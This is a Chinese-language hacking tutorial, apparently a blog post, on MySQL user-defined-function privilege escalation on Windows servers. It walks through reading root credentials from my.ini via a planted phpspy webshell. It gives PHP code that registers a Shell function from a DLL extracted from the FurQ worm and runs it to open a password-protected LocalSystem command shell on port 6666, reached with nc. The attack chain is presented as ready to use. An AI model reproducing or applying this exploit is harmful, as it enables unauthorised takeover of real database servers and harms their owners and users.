為MySQL提權簡單方法

前不久網上公開瞭一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然後通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公佈的是針對Unix系統的Exploit,並且成功率也不是很高.而近期,國內有高手放出針對Win系統的相關文章,於是我馬上找來與朋友一同研究.

  其實我們早就能想到.當我們在對MSSQLOracle數據庫進行攻擊的時候,得到瞭最數據庫中高權限的帳戶,往往都是執行特殊的擴展過程或者函數來進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創建一個特殊的函數.而我們卻始終沒有想到,作為流行的數據庫軟件之一的MySQL,也是可以進行函數的創建的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已.

  廢話一堆過後,我們來瞭解一下怎麼在MySQL裡創建一個函數吧.這比如何利用重要許多,隻要瞭解瞭原理,運用就能更加靈活,而且可以與其他思想融會貫通.

  MySQL中創建一個函數的語句為:

  Create Function FunctionName Returns [String|Integer|Real] Soname C:function.dll;

  其中FunctionName指的是函數的名稱,C:Function.DLL指的是函數所調用的DLL,而函數名正是DLL中的函數名稱.不過這裡需要我們註意的是,如果我們需要MySQL可以在函數之中附帶一個參數的話,那麼就要符合UDF形式的程序編寫規則,具體的可以查看MySQL手冊的第14節:《為MySQL增加新函數》.而其中STRING,INTEGET,REAL是函數執行後所返回的值的形式.當然,我們大可不必遵循UDF形式的編寫,其實如果我們的函數中使用一個我們要執行的代碼,而不使用參數,一樣可以達到攻擊的效果,比如說System("command.com")等等.網上現在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是註意,這個創建函數的語句必須要求我們所用的MySQL帳戶有對mysql這個數據庫的寫權限,否則無法正常使用.

  好瞭.瞭解瞭原理之後,我們來實戰一下如何使用MySQL提升權限.

  在這裡我們已經通過各式各樣的漏洞取得瞭一個服務器的WebShell,我這裡演示的是angel的phpspy,因為PHP默認有連接MySQL的函數,而ASP這些需要使用附加的組件來進行連接,本身不具備條件的.

  一般來說,在Win系統下面,很多軟件都會在系統目錄下創建一個叫my.ini的文件,其中包含瞭很敏感的MySQL信息.而如果我們攻克的主機沒有非常好的權限設置的話,我們本身就具有對%windir%目錄的瀏覽權限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進這個My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個MySQL數據庫或者是服務器瞭.如圖1.

  得到MySQL的Root密碼之後,我們需要上傳我們的DLL文件,我這裡使用的是從FurQ蠕蟲中提取的FurQ.dll.執行這個FurQ.DLL中的Shell函數,系統將會在6666端口打開一個帶密碼的CMDShell,當然,密碼我們已經知道,就是"FurQ"幾個字符而已.不過我們現在還沒有執行的條件.需要通過MySQL將這個函數創建到MySQL中去.

  現在,我們用PHPSPY新建一個PHP文件.

  輸入以下的內容

  

  $link=mysql_connect(127.0.0.1,root,root);

  if (!$link) {

  die(Could NOt Connect The Database!: . mysql_error());

  };

  echo "Good Boy.Connected!
";

  //這裡的rootoot就是從my.ini中讀取的用戶和密碼.

  @mysql_select_db(mysql) or die (use database mysql failed!);

  echo "Yes You Did!
";

  //這裡選擇使用MySQL數據庫表.當然你也可以選擇別的,如test.

  $query="Create Function Shell RETURNS INTEGER SONAME d:\wwwroot\FurQ.dll;";

  @$result = mysql_query($query, $link) or die ("Create Function Failed!");

  echo "Goddess…Successed!
";

  //這兩句話是關鍵,執行MySQL的創建函數語句.將d:wwwrootfurq.dll中的Shell函數創建進MySQL中.使得MySQL可以執行這個Shell函數.

  $query="Select Shell();";

  @$result = mysql_query($query, $link) or die ("Execute failed");

  echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";

  //這一步是執行這個Shell函數,打開服務器的6666端口.

  ?>

  再次執行,全部正常返回.如圖2.那麼現在,我們就可以使用nc連接服務器的6666端口,輸入這個密碼:FurQ.然後就返回CMDSHELL瞭..當然,由於繼承的是MySQL的權限,而Win系統下MySQL默認以服務安裝,也就是說,我們得到的Shell為LocalSystem權限,可以為所欲為瞭,不過不要做壞事哦.呵呵.

 

發佈留言